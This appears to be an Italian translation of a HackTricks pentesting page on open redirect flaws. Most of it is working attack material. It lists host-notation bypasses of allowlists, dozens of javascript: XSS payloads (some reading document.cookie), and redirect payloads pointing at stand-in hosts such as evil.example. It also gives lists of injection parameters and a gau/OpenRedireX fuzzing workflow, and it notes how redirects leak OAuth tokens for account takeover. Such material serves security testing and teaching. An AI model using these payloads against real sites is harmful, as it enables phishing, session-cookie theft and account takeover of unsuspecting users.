Open Redirect
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Open redirect
Redirect to localhost or arbitrary domains
- Se l'app “allows only internal/whitelisted hosts”, prova notazioni alternative dell'host per raggiungere il loopback o le range interne tramite l'obiettivo del redirect:
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
- Punto finale e maiuscole/minuscole: localhost., LOCALHOST, 127.0.0.1.
- DNS wildcard che risolve al loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Questi sono utili quando sono ammessi solo “subdomains of X” ma la risoluzione dell'host punta comunque a 127.0.0.1.
- I riferimenti network-path spesso bypassano validator ingenui che antepongono uno scheme o controllano solo i prefissi:
- //attacker.tld → interpretato come scheme-relative e naviga off-site usando lo scheme corrente.
- I trucchi con userinfo scavalcano i controlli contains/startswith contro trusted hosts:
- https://trusted.tld@attacker.tld/ → il browser naviga su attacker.tld ma semplici controlli di stringa “vedono” trusted.tld.
- Confusione nel parsing della backslash tra framework/browser:
- https://trusted.tld@attacker.tld → alcuni backend trattano “\” come un carattere di path e passano la validazione; i browser normalizzano in “/” e interpretano trusted.tld come userinfo, inviando gli utenti a attacker.tld. Questo si verifica anche nei mismatch dei parser URL tra Node/PHP.
Modern open-redirect to XSS pivots
bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Payload più moderni per bypass basati su URL
text
# Scheme-relative (current scheme is reused)
//evil.example
# Credentials (userinfo) trick
https://trusted.example@evil.example/
# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/
# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example
# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example
# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example
</details>
## Open Redirect uploading svg files
```
Common injection parameters
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
Code examples
.Net
response.redirect("~/mysafe-subdomain/login.aspx")
Java
response.redirect("http://mysafedomain.com");
PHP
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
Hunting and exploitation workflow (practical)
- Single URL check with curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
- Discover and fuzz likely parameters at scale:
Click to expand
# 1) Raccogli URL storici, conserva quelli con parametri redirect comuni
cat domains.txt \
| gau --o urls.txt # or: waybackurls / katana / hakrawler
# 2) Grep parametri comuni e normalizza la lista
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt
# 3) Usa OpenRedireX per fuzz con il corpus di payload
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
# 4) Verifica manualmente gli hits interessanti
awk '/30[1237]|Location:/I' results.txt
</details>
- Non dimenticare i sink lato client nelle SPA: cerca window.location/assign/replace e helper del framework che leggono query/hash e reindirizzano.
- I framework spesso introducono insidie (footguns) quando le destinazioni di redirect sono derivate da input non affidabili (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input.
<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>
- Flussi OAuth/OIDC: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide:
<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>
- Le risposte server che implementano redirect senza Location (meta refresh/JavaScript) sono comunque sfruttabili per phishing e a volte possono essere concatenate. Grep per:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
Strumenti
- https://github.com/0xNanda/Oralyzer
- OpenRedireX – fuzzer per rilevare open redirects. Esempio:
bash
# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
Riferimenti
- Su https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect puoi trovare fuzzing lists.
- https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
- https://github.com/cujanovic/Open-Redirect-Payloads
- https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.